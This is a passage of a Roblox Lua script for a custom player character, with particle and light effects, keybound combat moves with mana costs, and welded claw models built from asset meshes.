2828 | particleemitter.Speed = NumberRange.new(2) | |
2829 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
2830 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2831 | particleemitter.Rate = 100 | |
2832 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2833 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2834 | particleemitter.LightEmission = 0.8 | |
2835 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2836 | ||
2837 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
2838 | particleemitter.VelocitySpread = 180 | |
2839 | particleemitter.Lifetime = NumberRange.new(0.1) | |
2840 | particleemitter.Speed = NumberRange.new(2) | |
2841 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
2842 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
2843 | particleemitter.Rate = 100 | |
2844 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
2845 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
2846 | particleemitter.LightEmission = 0.8 | |
2847 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
2848 | ||
2849 | local light = Instance.new("PointLight", Character.Torso) | |
2850 | light.Color = Color3.new(255,255,255) | |
2851 | light.Brightness = 5 | |
2852 | light.Range = 15 | |
2853 | ||
2854 | particleemitter.Enabled = true | |
2855 | ||
2856 | local Footsteps = it("Sound",Character.Torso) | |
2857 | Footsteps.SoundId = "rbxassetid://142665235" | |
2858 | Footsteps.Looped = true | |
2859 | Footsteps.Pitch = 0.8 | |
2860 | Footsteps.Volume = 0.3 | |
2861 | ||
2862 | local Footsteps2 = it("Sound",Character.Torso) | |
2863 | Footsteps2.SoundId = "rbxassetid://142665235" | |
2864 | Footsteps2.Looped = true | |
2865 | Footsteps2.Pitch = 1 | |
2866 | Footsteps2.Volume = 0.4 | |
2867 | ||
2868 | local cam = game.Workspace.CurrentCamera | |
2869 | ||
2870 | --cam.CameraSubject = Character | |
2871 | ||
2872 | for i,v in pairs(Head:children()) do | |
2873 | if v:IsA("Sound") then | |
2874 | v:Destroy() | |
2875 | end | |
2876 | end | |
2877 | ||
2878 | mouse.Button1Down:connect(function() | |
2879 | if attack==false and attacktype==1 then | |
2880 | attacktype=2 | |
2881 | attackone() | |
2882 | elseif attack==false and attacktype==2 then | |
2883 | attacktype=3 | |
2884 | attacktwo() | |
2885 | elseif attack==false and attacktype==3 then | |
2886 | attacktype=4 | |
2887 | attackthree() | |
2888 | elseif attack==false and attacktype==4 then | |
2889 | attacktype=1 | |
2890 | attackfour() | |
2891 | end | |
2892 | end) | |
2893 | ||
2894 | mouse.KeyDown:connect(function(k) | |
2895 | k=k:lower() | |
2896 | if k=='e' then | |
2897 | if attack==false and mana>=20 then | |
2898 | Push() | |
2899 | end | |
2900 | elseif k=='g' then | |
2901 | if attack==false and mana>=50 then | |
2902 | Twirl() | |
2903 | end | |
2904 | elseif k=='v' then | |
2905 | if attack==false and mana>=25 then | |
2906 | MagicJump() | |
2907 | end | |
2908 | elseif k=='c' then | |
2909 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2910 | attack=true | |
2911 | for i = 1, 40 do | |
2912 | swait() | |
2913 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2914 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2915 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2916 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2917 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2918 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2919 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2920 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2921 | end | |
2922 | Blaze() | |
2923 | attack = false | |
2924 | end | |
2925 | elseif k=='x' then | |
2926 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2927 | attack=true | |
2928 | for i = 1, 15 do | |
2929 | swait() | |
2930 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2931 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2932 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2933 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2934 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2935 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2936 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2937 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2938 | end | |
2939 | so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) | |
2940 | so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) | |
2941 | for i = 0, 30 do | |
2942 | BlastEffect(BrickColor.new("White"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) | |
2943 | wait(0.1) | |
2944 | end | |
2945 | local parteffected = Instance.new("Part",tors) | |
2946 | parteffected.Transparency = 1 | |
2947 | parteffected.Position = tors.Position | |
2948 | parteffected.CanCollide = false | |
2949 | parteffected.Anchored = true | |
2950 | so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) | |
2951 | so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) | |
2952 | BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) | |
2953 | MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,15,15,15,0.05) | |
2954 | MagicCircle(BrickColor.new("White"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) | |
2955 | BlastEffect(BrickColor.new("White"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) | |
2956 | local sbs = Instance.new("BodyPosition", RootPart) | |
2957 | sbs.P = 3000 | |
2958 | sbs.D = 1000 | |
2959 | sbs.maxForce = Vector3.new(500000, 500000000, 500000) | |
2960 | sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) | |
2961 | for i = 1, 40 do | |
2962 | swait() | |
2963 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2964 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2965 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2966 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2967 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2968 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2969 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2970 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2971 | end | |
2972 | wait(3) | |
2973 | Blaze2() | |
2974 | attack = false | |
2975 | parteffected:Destroy() | |
2976 | sbs:Destroy() | |
2977 | end | |
2978 | elseif k=='q' then | |
2979 | if attack==false then | |
2980 | idle=1000 | |
2981 | end | |
2982 | elseif k=='h' then | |
2983 | if attack==false then | |
2984 | mana=100 | |
2985 | end | |
2986 | elseif k=='y' then | |
2987 | if attack==false and mana>=100 then | |
2988 | Shred() | |
2989 | end | |
2990 | elseif k=='f' then | |
2991 | if attack==false and mana>=40 then | |
2992 | Spin() | |
2993 | end | |
2994 | elseif k=='r' then | |
2995 | if attack==false and mana>=20 then | |
2996 | Clap() | |
2997 | end | |
2998 | elseif k=='t' then | |
2999 | if attack==false then | |
3000 | Hai() | |
3001 | end | |
3002 | elseif k=='0' then | |
3003 | if attack==false then | |
3004 | Humanoid.WalkSpeed=(24) | |
3005 | end | |
3006 | elseif k=='j' then | |
3007 | if attack==false then | |
3008 | Humanoid.Health = 10 | |
3009 | print("Congrats, you commited suicide.") | |
3010 | end | |
3011 | end | |
3012 | end) | |
3013 | ||
3014 | mouse.KeyDown:connect(function(k) | |
3015 | if k == "z" and Ultramode == false then | |
3016 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3017 | attack = true | |
3018 | for i = 1, 15 do | |
3019 | swait() | |
3020 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
3021 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
3022 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
3023 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
3024 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
3025 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
3026 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
3027 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
3028 | end | |
3029 | m:Destroy() | |
3030 | local m = Instance.new("Model", Character) | |
3031 | m.Name = "WeaponModel" | |
3032 | local parta = Instance.new("Part",Character) | |
3033 | parta.Size = vt(10,10,10) | |
3034 | parta.BrickColor = BrickColor.new("White") | |
3035 | parta.Material = "Neon" | |
3036 | parta.Shape = "Ball" | |
3037 | parta.Transparency = 0 | |
3038 | parta.Anchored = true | |
3039 | parta.CanCollide = false | |
3040 | parta.CFrame = tors.CFrame | |
3041 | Transform() | |
3042 | parta:Destroy() | |
3043 | ||
3044 | local modelzorzz=Instance.new("Model") | |
3045 | modelzorzz.Parent=Character | |
3046 | modelzorzz.Name="Claw1" | |
3047 | ||
3048 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
3049 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
3050 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
3051 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3052 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
3053 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3054 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
3055 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3056 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3057 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
3058 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3059 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
3060 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3061 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
3062 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3063 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
3064 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3065 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
3066 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3067 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
3068 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3069 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
3070 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3071 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
3072 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3073 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
3074 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3075 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3076 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
3077 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3078 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
3079 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3080 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
3081 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
3082 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
3083 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3084 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
3085 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3086 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3087 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
3088 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3089 | ||
3090 | local modelzorzz2=Instance.new("Model") | |
3091 | modelzorzz2.Parent=Character | |
3092 | modelzorzz2.Name="Claw2" | |
3093 | ||
3094 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
3095 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
3096 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
3097 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3098 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
3099 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3100 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
3101 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3102 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
3103 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3104 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
3105 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3106 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3107 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
3108 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3109 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3110 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
3111 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3112 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
3113 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3114 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3115 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
3116 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3117 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
3118 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3119 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3120 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
3121 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3122 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
3123 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3124 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3125 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
3126 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3127 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
3128 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(2.20000005, 1, 1)) | |
3129 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
3130 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"White","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
3131 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
